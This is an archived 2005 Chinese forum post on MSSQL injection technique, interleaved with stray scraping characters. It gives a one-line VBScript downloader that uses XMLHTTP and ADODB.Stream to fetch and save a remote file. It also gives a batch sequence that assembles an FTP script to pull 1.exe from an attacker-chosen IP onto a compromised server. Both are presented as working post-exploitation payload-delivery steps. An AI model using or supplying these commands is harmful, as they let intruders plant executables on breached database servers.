数学建模社区-数学中国
标题:
mssql注射时不可以多次echo的解决办法
[打印本页]
作者:
韩冰
时间:
2005-1-23 13:30
标题:
mssql注射时不可以多次echo的解决办法
<
>解决办法:
4 T% d L( e$ x/ X
1.iget.vbs一次写入
8 w0 k8 u. u) e1 ]: U7 z
在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写
( |7 R6 J. b% Q4 `4 r* u
/ \( P, G9 H$ a, i- y
Set x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2
3 [" N+ J9 j7 @% C
% O) y1 e4 J) D, m2 `& F
这样我们可以一次echo成功,echo版本:
! B1 {+ B! t/ x& E* A( \6 g$ R
) F( V1 w) I0 u- p8 C7 M4 {
echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >iget.vbs
9 x: ^; M5 I6 D9 P! |
6 O: c! Y" p5 ?; y h4 L
% z/ j1 g/ j) ?: X" L8 c! T0 I
2.bat调用ftp脚本的写法(by envymask)
/ w& ]1 C5 ^: F. p- H- w
2 s$ I) A- z8 J0 y4 ?* N
echo ftp>1.vbs
" K& y$ v; U$ Y% z0 E7 W. m
echo open ip>2.vbs
; A: C% Y% @5 J0 |) v
echo u>3.vbs
% \8 Q1 C+ N# k" L" g* p1 z) v+ Y9 ~
echo s>4.vbs
6 ` d+ J9 b0 A. g( c
echo binary>5.vbs
$ [/ B$ d$ d/ G5 u5 I& {
echo get 1.exe>6.vbs
1 i4 X0 z# F$ ~
echo bay>7.vbs
& Y$ N0 _2 e8 k; u: g* f+ @/ e1 `, i
- I5 w4 G$ t6 {* W0 I
copy 1.vbs+2.vbs+3.vbs+4.vbs+5.vbs+6.vbs+7.vbs new.vbs
! l# h) m# X6 w
</P>
欢迎光临 数学建模社区-数学中国 (http://www.madio.net/)
Powered by Discuz! X2.5
>解决办法: 4 T% d L( e$ x/ X